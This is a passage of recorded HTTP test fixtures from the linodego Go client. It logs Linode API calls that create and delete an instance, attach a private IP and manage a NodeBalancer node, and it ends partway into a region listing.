X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:17 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-7atx65wn43h2","root_pass":"o3\u003c6ia''y.8tqWt+]\u003ce23;14m62PFR:V3l9,Q7^''D4f=7dpVwe\\N+RYI4Bm?QT2;B","image":"linode/debian9","firewall_id":640280,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61169924, "label": "go-test-ins-7atx65wn43h2", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.252.120"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "3cea0f3e7e25a8eb97340be86615d802453acd3a", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "791" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:18 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61169924/ips method: POST response: body: '{"address": "192.168.129.137", "gateway": null, "subnet_mask": "255.255.128.0", "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 61169924, "region": "ap-west", "vpc_nat_1_1": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "205" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:18 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"address":"192.168.129.137:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767859/configs/1266888/nodes method: POST response: body: '{"id": 2051557835, "address": "192.168.129.137:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1266888, "nodebalancer_id": 767859}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "184" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767859/configs/1266888/nodes/2051557835 method: GET response: body: '{"id": 2051557835, "address": "192.168.129.137:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1266888, "nodebalancer_id": 767859}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "184" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767859/configs/1266888/nodes/2051557835 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61169924 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:20 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestNodeBalancerNode_Update.yaml000066400000000000000000001237001474652371000327400ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": 